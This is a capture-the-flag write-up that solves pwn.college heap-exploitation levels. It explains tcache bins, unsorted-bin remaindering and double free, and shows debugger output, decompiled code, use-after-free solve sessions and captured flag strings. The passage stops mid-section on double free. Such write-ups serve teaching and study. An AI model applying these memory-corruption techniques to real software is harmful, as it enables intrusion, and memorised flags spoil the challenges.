Dynamic Allocator Misuse
Freebie (Easy)
hacker@dynamic-allocator-misuse~freebie-easy:~$ /challenge/freebie-easy
###
### Welcome to /challenge/freebie-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 1 unique allocations.
[*] Function (malloc/free/puts/read_flag/quit):
The program uses a memory space of 292 bytes to read the flag.
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(292)
[*] flag_buffer = 0x5633693962c0
[*] read the flag!
But it SEGFAULTs when we try the puts command.
[*] Function (malloc/free/puts/read_flag/quit): puts
[*] puts(allocations[0])
Data: Segmentation fault
Use-After-Free
We can leverage a UAF vulnerability here, where we allocate 292 bytes of memory using malloc, and then free it using the free command.
It is important that we allocate the name number of bytes that the read_flag function uses, otherwise it will use another Tcache bin.
Tcache Binning
The heap allocator (GLIBC) doesn't just throw all freed memory into one big pile. It organizes freed chunks into "bins" based on their size.
- A chunk of
128bytes goes into Bin#7. - A chunk of
292bytes goes into Bin#17.
When the program calls malloc(N), the allocator only looks in the bin that matches size N.
We then use read_flag to instruct the program to read the flag next it will read it to the same location where the first allocated memory was, because that pointer is not cleared.
Next, when we use puts, the program will print the data pointed to by the original pointer. However, since we read the flag to that location, the flag will be printed.
Exploit
hacker@dynamic-allocator-misuse~freebie-easy:~$ /challenge/freebie-easy
###
### Welcome to /challenge/freebie-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 1 unique allocations.
[*] Function (malloc/free/puts/read_flag/quit): malloc
Size: 292
[*] allocations[0] = malloc(292)
[*] allocations[0] = 0x5c1c841ef2c0
[*] Function (malloc/free/puts/read_flag/quit): free
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #17 | SIZE: 281 - 296 | COUNT: 1 | HEAD: 0x5c1c841ef2c0 | KEY: 0x5c1c841ef010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x5c1c841ef2c0 | 0 | 0x131 (P) | (nil) | 0x5c1c841ef010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(292)
[*] flag_buffer = 0x5c1c841ef2c0
[*] read the flag!
[*] Function (malloc/free/puts/read_flag/quit): puts
[*] puts(allocations[0])
Data: pwn.college{84MQn7Xg8iltuVV7AxkYMfwzHrQ.0VM3MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Freebie (Hard)
hacker@dynamic-allocator-misuse~freebie-hard:~$ /challenge/freebie-hard
###
### Welcome to /challenge/freebie-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
This time the program does not tell us how many bytes the read_flag function is allocating. We need to know this so that we can use the same number of bytes in our malloc.
- Size allocated for
read_flag
Binary Analysis
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x0000000000001000 _init
0x00000000000010f0 __cxa_finalize@plt
0x0000000000001100 free@plt
0x0000000000001110 putchar@plt
0x0000000000001120 puts@plt
0x0000000000001130 __stack_chk_fail@plt
0x0000000000001140 printf@plt
0x0000000000001150 read@plt
0x0000000000001160 strcmp@plt
0x0000000000001170 malloc@plt
0x0000000000001180 setvbuf@plt
0x0000000000001190 open@plt
0x00000000000011a0 atoi@plt
0x00000000000011b0 __isoc99_scanf@plt
0x00000000000011c0 _start
0x00000000000011f0 deregister_tm_clones
0x0000000000001220 register_tm_clones
0x0000000000001260 __do_global_dtors_aux
0x00000000000012a0 frame_dummy
0x00000000000012a9 main
0x00000000000015b0 __libc_csu_init
0x0000000000001620 __libc_csu_fini
0x0000000000001628 _fini
main()
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000000012a9 <+0>: endbr64
0x00000000000012ad <+4>: push rbp
0x00000000000012ae <+5>: mov rbp,rsp
0x00000000000012b1 <+8>: sub rsp,0xe0
0x00000000000012b8 <+15>: mov DWORD PTR [rbp-0xc4],edi
0x00000000000012be <+21>: mov QWORD PTR [rbp-0xd0],rsi
0x00000000000012c5 <+28>: mov QWORD PTR [rbp-0xd8],rdx
0x00000000000012cc <+35>: mov rax,QWORD PTR fs:0x28
0x00000000000012d5 <+44>: mov QWORD PTR [rbp-0x8],rax
0x00000000000012d9 <+48>: xor eax,eax
0x00000000000012db <+50>: mov rax,QWORD PTR [rip+0x2d3e] # 0x4020 <stdin@@GLIBC_2.2.5>
0x00000000000012e2 <+57>: mov ecx,0x0
0x00000000000012e7 <+62>: mov edx,0x2
0x00000000000012ec <+67>: mov esi,0x0
0x00000000000012f1 <+72>: mov rdi,rax
0x00000000000012f4 <+75>: call 0x1180 <setvbuf@plt>
0x00000000000012f9 <+80>: mov rax,QWORD PTR [rip+0x2d10] # 0x4010 <stdout@@GLIBC_2.2.5>
0x0000000000001300 <+87>: mov ecx,0x1
0x0000000000001305 <+92>: mov edx,0x2
0x000000000000130a <+97>: mov esi,0x0
0x000000000000130f <+102>: mov rdi,rax
0x0000000000001312 <+105>: call 0x1180 <setvbuf@plt>
0x0000000000001317 <+110>: lea rdi,[rip+0xcea] # 0x2008
0x000000000000131e <+117>: call 0x1120 <puts@plt>
0x0000000000001323 <+122>: mov rax,QWORD PTR [rbp-0xd0]
0x000000000000132a <+129>: mov rax,QWORD PTR [rax]
0x000000000000132d <+132>: mov rsi,rax
0x0000000000001330 <+135>: lea rdi,[rip+0xcd5] # 0x200c
0x0000000000001337 <+142>: mov eax,0x0
0x000000000000133c <+147>: call 0x1140 <printf@plt>
0x0000000000001341 <+152>: lea rdi,[rip+0xcc0] # 0x2008
0x0000000000001348 <+159>: call 0x1120 <puts@plt>
0x000000000000134d <+164>: mov edi,0xa
0x0000000000001352 <+169>: call 0x1110 <putchar@plt>
0x0000000000001357 <+174>: mov QWORD PTR [rbp-0x98],0x0
0x0000000000001362 <+185>: mov QWORD PTR [rbp-0xa0],0x106
0x000000000000136d <+196>: lea rdi,[rip+0xcac] # 0x2020
0x0000000000001374 <+203>: call 0x1120 <puts@plt>
0x0000000000001379 <+208>: lea rdi,[rip+0xca8] # 0x2028
0x0000000000001380 <+215>: mov eax,0x0
0x0000000000001385 <+220>: call 0x1140 <printf@plt>
0x000000000000138a <+225>: lea rax,[rbp-0x90]
0x0000000000001391 <+232>: mov rsi,rax
0x0000000000001394 <+235>: lea rdi,[rip+0xcbe] # 0x2059
0x000000000000139b <+242>: mov eax,0x0
0x00000000000013a0 <+247>: call 0x11b0 <__isoc99_scanf@plt>
0x00000000000013a5 <+252>: lea rdi,[rip+0xc74] # 0x2020
0x00000000000013ac <+259>: call 0x1120 <puts@plt>
0x00000000000013b1 <+264>: lea rax,[rbp-0x90]
0x00000000000013b8 <+271>: lea rsi,[rip+0xca0] # 0x205f
0x00000000000013bf <+278>: mov rdi,rax
0x00000000000013c2 <+281>: call 0x1160 <strcmp@plt>
0x00000000000013c7 <+286>: test eax,eax
0x00000000000013c9 <+288>: jne 0x1446 <main+413>
0x00000000000013cb <+290>: mov DWORD PTR [rbp-0xb0],0x0
0x00000000000013d5 <+300>: lea rdi,[rip+0xc8a] # 0x2066
0x00000000000013dc <+307>: mov eax,0x0
0x00000000000013e1 <+312>: call 0x1140 <printf@plt>
0x00000000000013e6 <+317>: lea rax,[rbp-0x90]
0x00000000000013ed <+324>: mov rsi,rax
0x00000000000013f0 <+327>: lea rdi,[rip+0xc62] # 0x2059
0x00000000000013f7 <+334>: mov eax,0x0
0x00000000000013fc <+339>: call 0x11b0 <__isoc99_scanf@plt>
0x0000000000001401 <+344>: lea rdi,[rip+0xc18] # 0x2020
0x0000000000001408 <+351>: call 0x1120 <puts@plt>
0x000000000000140d <+356>: lea rax,[rbp-0x90]
0x0000000000001414 <+363>: mov rdi,rax
0x0000000000001417 <+366>: call 0x11a0 <atoi@plt>
0x000000000000141c <+371>: mov DWORD PTR [rbp-0xac],eax
0x0000000000001422 <+377>: mov eax,DWORD PTR [rbp-0xac]
0x0000000000001428 <+383>: mov rdi,rax
0x000000000000142b <+386>: call 0x1170 <malloc@plt>
0x0000000000001430 <+391>: mov rdx,rax
0x0000000000001433 <+394>: mov eax,DWORD PTR [rbp-0xb0]
0x0000000000001439 <+400>: mov QWORD PTR [rbp+rax*8-0x98],rdx
0x0000000000001441 <+408>: jmp 0x136d <main+196>
0x0000000000001446 <+413>: lea rax,[rbp-0x90]
0x000000000000144d <+420>: lea rsi,[rip+0xc19] # 0x206d
0x0000000000001454 <+427>: mov rdi,rax
0x0000000000001457 <+430>: call 0x1160 <strcmp@plt>
0x000000000000145c <+435>: test eax,eax
0x000000000000145e <+437>: jne 0x1485 <main+476>
0x0000000000001460 <+439>: mov DWORD PTR [rbp-0xb0],0x0
0x000000000000146a <+449>: mov eax,DWORD PTR [rbp-0xb0]
0x0000000000001470 <+455>: mov rax,QWORD PTR [rbp+rax*8-0x98]
0x0000000000001478 <+463>: mov rdi,rax
0x000000000000147b <+466>: call 0x1100 <free@plt>
0x0000000000001480 <+471>: jmp 0x136d <main+196>
0x0000000000001485 <+476>: lea rax,[rbp-0x90]
0x000000000000148c <+483>: lea rsi,[rip+0xbdf] # 0x2072
0x0000000000001493 <+490>: mov rdi,rax
0x0000000000001496 <+493>: call 0x1160 <strcmp@plt>
0x000000000000149b <+498>: test eax,eax
0x000000000000149d <+500>: jne 0x14d5 <main+556>
0x000000000000149f <+502>: mov DWORD PTR [rbp-0xb0],0x0
0x00000000000014a9 <+512>: lea rdi,[rip+0xbc7] # 0x2077
0x00000000000014b0 <+519>: mov eax,0x0
0x00000000000014b5 <+524>: call 0x1140 <printf@plt>
0x00000000000014ba <+529>: mov eax,DWORD PTR [rbp-0xb0]
0x00000000000014c0 <+535>: mov rax,QWORD PTR [rbp+rax*8-0x98]
0x00000000000014c8 <+543>: mov rdi,rax
0x00000000000014cb <+546>: call 0x1120 <puts@plt>
0x00000000000014d0 <+551>: jmp 0x136d <main+196>
0x00000000000014d5 <+556>: lea rax,[rbp-0x90]
0x00000000000014dc <+563>: lea rsi,[rip+0xb9b] # 0x207e
0x00000000000014e3 <+570>: mov rdi,rax
0x00000000000014e6 <+573>: call 0x1160 <strcmp@plt>
0x00000000000014eb <+578>: test eax,eax
0x00000000000014ed <+580>: jne 0x1554 <main+683>
0x00000000000014ef <+582>: mov DWORD PTR [rbp-0xb4],0x0
0x00000000000014f9 <+592>: jmp 0x1518 <main+623>
0x00000000000014fb <+594>: mov rax,QWORD PTR [rbp-0xa0]
0x0000000000001502 <+601>: mov rdi,rax
0x0000000000001505 <+604>: call 0x1170 <malloc@plt>
0x000000000000150a <+609>: mov QWORD PTR [rbp-0xa8],rax
0x0000000000001511 <+616>: add DWORD PTR [rbp-0xb4],0x1
0x0000000000001518 <+623>: cmp DWORD PTR [rbp-0xb4],0x0
0x000000000000151f <+630>: jle 0x14fb <main+594>
0x0000000000001521 <+632>: mov esi,0x0
0x0000000000001526 <+637>: lea rdi,[rip+0xb5b] # 0x2088
0x000000000000152d <+644>: mov eax,0x0
0x0000000000001532 <+649>: call 0x1190 <open@plt>
0x0000000000001537 <+654>: mov ecx,eax
0x0000000000001539 <+656>: mov rax,QWORD PTR [rbp-0xa8]
0x0000000000001540 <+663>: mov edx,0x80
0x0000000000001545 <+668>: mov rsi,rax
0x0000000000001548 <+671>: mov edi,ecx
0x000000000000154a <+673>: call 0x1150 <read@plt>
0x000000000000154f <+678>: jmp 0x136d <main+196>
0x0000000000001554 <+683>: lea rax,[rbp-0x90]
0x000000000000155b <+690>: lea rsi,[rip+0xb2c] # 0x208e
0x0000000000001562 <+697>: mov rdi,rax
0x0000000000001565 <+700>: call 0x1160 <strcmp@plt>
0x000000000000156a <+705>: test eax,eax
0x000000000000156c <+707>: je 0x157c <main+723>
0x000000000000156e <+709>: lea rdi,[rip+0xb1e] # 0x2093
0x0000000000001575 <+716>: call 0x1120 <puts@plt>
0x000000000000157a <+721>: jmp 0x157d <main+724>
0x000000000000157c <+723>: nop
0x000000000000157d <+724>: lea rdi,[rip+0xb24] # 0x20a8
0x0000000000001584 <+731>: call 0x1120 <puts@plt>
0x0000000000001589 <+736>: mov eax,0x0
0x000000000000158e <+741>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000001592 <+745>: xor rcx,QWORD PTR fs:0x28
0x000000000000159b <+754>: je 0x15a2 <main+761>
0x000000000000159d <+756>: call 0x1130 <__stack_chk_fail@plt>
0x00000000000015a2 <+761>: leave
0x00000000000015a3 <+762>: ret
End of assembler dump.
The second malloc, at main+604 is what is called when we use the read_flag command. We can tell that it is the second one and not the first call to malloc at main+386, because the first one takes another input, which is the size of memory to be allocated. So the first call to malloc happens when we use the malloc command.
Let's put a breakpoint and run.
pwndbg> break *(main+604)
Breakpoint 1 at 0x1505
pwndbg> run
Starting program: /challenge/freebie-hard
###
### Welcome to /challenge/freebie-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): read_flag
Breakpoint 1, 0x00005eab712ba505 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───── ─────────────────────────────────────────────────────────────
RAX 0x106
RBX 0x5eab712ba5b0 (__libc_csu_init) ◂— endbr64
RCX 0x7b84ab44a297 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0
RDI 0x106
RSI 0x5eab712bb07e ◂— 'read_flag'
R8 1
R9 0x7ffffff8
R10 0x7fffffff
R11 0x246
R12 0x5eab712ba1c0 (_start) ◂— endbr64
R13 0x7ffc52383440 ◂— 1
R14 0
R15 0
RBP 0x7ffc52383350 ◂— 0
RSP 0x7ffc52383270 ◂— 0
RIP 0x5eab712ba505 (main+604) ◂— call malloc@plt
───────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────
► 0x5eab712ba505 <main+604> call malloc@plt <malloc@plt>
size: 0x106
0x5eab712ba50a <main+609> mov qword ptr [rbp - 0xa8], rax
0x5eab712ba511 <main+616> add dword ptr [rbp - 0xb4], 1
0x5eab712ba518 <main+623> cmp dword ptr [rbp - 0xb4], 0
0x5eab712ba51f <main+630> jle main+594 <main+594>
0x5eab712ba521 <main+632> mov esi, 0 ESI => 0
0x5eab712ba526 <main+637> lea rdi, [rip + 0xb5b] RDI => 0x5eab712bb088 ◂— 0x75710067616c662f /* '/flag' */
0x5eab712ba52d <main+644> mov eax, 0 EAX => 0
0x5eab712ba532 <main+649> call open@plt <open@plt>
0x5eab712ba537 <main+654> mov ecx, eax
0x5eab712ba539 <main+656> mov rax, qword ptr [rbp - 0xa8]
────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffc52383270 ◂— 0
01:0008│-0d8 0x7ffc52383278 —▸ 0x7ffc52383458 —▸ 0x7ffc52384691 ◂— 'SHELL=/run/dojo/bin/bash'
02:0010│-0d0 0x7ffc52383280 —▸ 0x7ffc52383448 —▸ 0x7ffc52384679 ◂— '/challenge/freebie-hard'
03:0018│-0c8 0x7ffc52383288 ◂— 0x100000000
04:0020│-0c0 0x7ffc52383290 ◂— 0
... ↓ 3 skipped
──────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────
► 0 0x5eab712ba505 main+604
1 0x7b84ab360083 __libc_start_main+243
2 0x5eab712ba1ee _start+46
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
- Size allocated for
read_flag:262
Exploit
hacker@dynamic-allocator-misuse~freebie-hard:~$ /challenge/freebie-hard
###
### Welcome to /challenge/freebie-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): malloc
Size: 262
[*] Function (malloc/free/puts/read_flag/quit): free
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] Function (malloc/free/puts/read_flag/quit): puts
Data: pwn.college{I2KyXNxk50mkShkCYeSWWeQnub9.0lM3MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Freebin Feint (Easy)
hacker@dynamic-allocator-misuse~freebin-feint-easy:~$ /challenge/freebin-feint-easy
###
### Welcome to /challenge/freebin-feint-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 1 unique allocations.
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(991)
[*] flag_buffer = 0x582868eee2c0
[*] read the flag!
This challenge is very similar to the previous one, only difference being that the size of the flag_buffer is pretty arbitrary this time. So we have to allocate the same size when we use malloc.
Exploit
hacker@dynamic-allocator-misuse~freebin-feint-easy:~$ /challenge/freebin-feint-easy
###
### Welcome to /challenge/freebin-feint-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 1 unique allocations.
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(991)
[*] flag_buffer = 0x582868eee2c0
[*] read the flag!
[*] Function (malloc/free/puts/read_flag/quit): malloc
Size: 991
[*] allocations[0] = malloc(991)
[*] allocations[0] = 0x582868eee6b0
[*] Function (malloc/free/puts/read_flag/quit): free
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #61 | SIZE: 985 - 1000 | COUNT: 1 | HEAD: 0x582868eee6b0 | KEY: 0x582868eee010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x582868eee6b0 | 0 | 0x3f1 (P) | (nil) | 0x582868eee010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(991)
[*] flag_buffer = 0x582868eee6b0
[*] read the flag!
[*] Function (malloc/free/puts/read_flag/quit): puts
[*] puts(allocations[0])
Data: pwn.college{YmZfwVA6aurOwPF9E1iE4IdM40I.01M3MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Freebin Feint (Hard)
hacker@dynamic-allocator-misuse~freebin-feint-hard:~$ /challenge/freebin-feint-hard
###
### Welcome to /challenge/freebin-feint-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = 0x6241860a12a0
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Again, the flag_buffer is some arbitrary size.
In order to solve this challenge, we have to leverage Remaindering.
Leveraging the unsorted bin / cache
Memory managers handle splitting large memory blocks from the "top chunk" (the largest free block) to satisfy smaller allocation requests, creating a smaller "remainder" block that stays available in the heap.
Instead of immediately putting newly freed chunks onto the correct bin, the heap manager coalesces it with neighbors, and dumps it onto a general unsorted linked list. During malloc, each item on the unsorted bin is checked to see if it “fits” the request. If it does, malloc can use it immediately. If it does not, malloc then puts the chunk into its corresponding small or large bin.
This only happens if the large bin / cache is used instead of Tcache to allocated memory. For that we have to allocate a chunk of size greater than 1032 bytes, as Tcache only handles memory allocation upto 1032 bytes.
Currently, the ptmalloc caching design is (in order of use):
- 64 singly-linked tcache bins for allocations of size 16 to 1032 (functionally "covers" fastbins and smallbins)
- 10 singly-linked "fast" bins for allocations of size up to 160 bytes
- 1 doubly-linked "unsorted" bin to quickly stash free()d chunks that don't fit into tcache or fastbins
- 62 doubly-linked "small" bins for allocations up to 512 bytes
- 63 doubly-linked "large" bins (anything over 512 bytes) that contain different-sized chunks
So, if we allocate a large enough space, then free it, and then call the read_flag command, we would not have to worry about the size of flag_buffer because it will be split and used from our large buffer allocation.
Exploit
hacker@dynamic-allocator-misuse~freebin-feint-hard:~$ /challenge/freebin-feint-hard
###
### Welcome to /challenge/freebin-feint-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): malloc
Size: 5000
[*] allocations[0] = 0x5618c504f2a0
[*] Function (malloc/free/puts/read_flag/quit): free
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = 0x5618c504f2a0
[*] Function (malloc/free/puts/read_flag/quit): puts
Data: pwn.college{su9bnqD-UlklEnJ8xjHEtaBKtSJ.0FN3MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Free Flag Fumble (Easy)
hacker@dynamic-allocator-misuse~free-flag-fumble-easy:/$ /challenge/free-flag-fumble-easy
###
### Welcome to /challenge/free-flag-fumble-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, the flag buffer is allocated 2 times before it is used.
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(480)
[*] flag_buffer = 0x59c50bb2c2c0
[*] flag_buffer = malloc(480)
[*] flag_buffer = 0x59c50bb2c4b0
[*] read the flag!
This time the read_flag function reads the flag twice into buffers of size 480 bytes.
Exploit
hacker@dynamic-allocator-misuse~free-flag-fumble-easy:/$ /challenge/free-flag-fumble-easy
###
### Welcome to /challenge/free-flag-fumble-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, the flag buffer is allocated 2 times before it is used.
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(480)
[*] flag_buffer = 0x562a9e54c2c0
[*] flag_buffer = malloc(480)
[*] flag_buffer = 0x562a9e54c4b0
[*] read the flag!
[*] Function (malloc/free/puts/read_flag/quit): malloc
Index: 0
Size: 480
[*] allocations[0] = malloc(480)
[*] allocations[0] = 0x562a9e54c6a0
[*] Function (malloc/free/puts/read_flag/quit): malloc
Index: 1
Size: 480
[*] allocations[1] = malloc(480)
[*] allocations[1] = 0x562a9e54c890
[*] Function (malloc/free/puts/read_flag/quit): free
Index: 0
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #29 | SIZE: 473 - 488 | COUNT: 1 | HEAD: 0x562a9e54c6a0 | KEY: 0x562a9e54c010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x562a9e54c6a0 | 0 | 0x1f1 (P) | (nil) | 0x562a9e54c010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/quit): free
Index: 1
[*] free(allocations[1])
+====================+========================+==============+============================+============================+
| TCACHE BIN #29 | SIZE: 473 - 488 | COUNT: 2 | HEAD: 0x562a9e54c890 | KEY: 0x562a9e54c010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x562a9e54c890 | 0 | 0x1f1 (P) | 0x562a9e54c6a0 | 0x562a9e54c010 |
| 0x562a9e54c6a0 | 0 | 0x1f1 (P) | (nil) | 0x562a9e54c010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(480)
[*] flag_buffer = 0x562a9e54c890
[*] flag_buffer = malloc(480)
[*] flag_buffer = 0x562a9e54c6a0
[*] read the flag!
[*] Function (malloc/free/puts/read_flag/quit): puts
Index: 0
[*] puts(allocations[0])
Data: pwn.college{4d96a3J7Ce0XBHbjqikTX4-jo2e.0VN3MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Free Flag Fumble (Hard)
hacker@dynamic-allocator-misuse~free-flag-fumble-hard:/$ /challenge/free-flag-fumble-hard
###
### Welcome to /challenge/free-flag-fumble-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): read_flag
As always, the hard challenge does not tell us the size of the buffers into which the flag was read.
Binary Analysis
/challenge/free-flag-fumble-hard :: main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // ecx
int i; // [rsp+24h] [rbp-12Ch]
unsigned int index_1; // [rsp+28h] [rbp-128h]
unsigned int index; // [rsp+28h] [rbp-128h]
unsigned int v8; // [rsp+28h] [rbp-128h]
unsigned int size; // [rsp+2Ch] [rbp-124h]
void *size_4; // [rsp+30h] [rbp-120h]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-8h]
v13 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_2020);
printf("[*] Function (malloc/free/puts/read_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
index_1 = atoi(choice);
if ( index_1 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 60u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
size = atoi(choice);
ptr[index_1] = malloc(size);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
index = atoi(choice);
if ( index > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 76u, "main");
free(ptr[index]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
v8 = atoi(choice);
if ( v8 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 88u, "main");
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(choice, "read_flag") )
break;
for ( i = 0; i <= 1; ++i )
size_4 = malloc(957uLL);
v3 = open("/flag", 0);
read(v3, size_4, 128uLL);
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
We can see that on making the read_flag choice, the program allocates two buffers of size 957 bytes.
Exploit
hacker@dynamic-allocator-misuse~free-flag-fumble-hard:~$ /challenge/free-flag-fumble-hard
###
### Welcome to /challenge/free-flag-fumble-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): malloc
Index: 0
Size: 957
[*] Function (malloc/free/puts/read_flag/quit): malloc
Index: 1
Size: 957
[*] Function (malloc/free/puts/read_flag/quit): free
Index: 0
[*] Function (malloc/free/puts/read_flag/quit): free
Index: 1
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] Function (malloc/free/puts/read_flag/quit): puts
Index: 0
Data: pwn.college{8Wq-xUWLolH-kpTT9mLLl4qgFmM.0lN3MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Fickle Free (Easy)
In this challege we have to leverage Double Free vulnerability.
Double free
In the allocated memory chunks, the second set of 8 bytes include the pointer key to tcache_perthread_struct. Once a chunk is allocated, the key pointer no longer points to tcache_perthread_struct and is set to NULL. This state of the key is what helps Tcache distinguish free chunks from allocated ones.
a = malloc(16)
b = malloc(16)
free(b)
free(a)
a = malloc(16)
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 1 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &B ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
│
│
│
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐ │
┆ tcache_entry A ┆ │
├──────────────────┤ │
│ .............. │ │
├──────────────────┤ │
│ NULL │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry B ┆
├──────────────────┤
│ next: NULL │
├──────────────────┤
│ key: Void │
└──────────────────┘
When free() is called on a chunk that fits in the Tcache, the allocator checks if that chunk's key field already points to the tcache_perthread_struct for the current thread.
If key == tcache_perthread_struct, the allocator scans the relevant Tcache bin to see if that chunk is already there. If it finds it, the program crashes with a "double free or corruption (tcache)" error.
If key != tcache_perthread_struct, the allocator assumes the chunk is currently allocated and proceeds to add it to the Tcache.
a = malloc(16)
b = malloc(16)
free(b)
free(a)
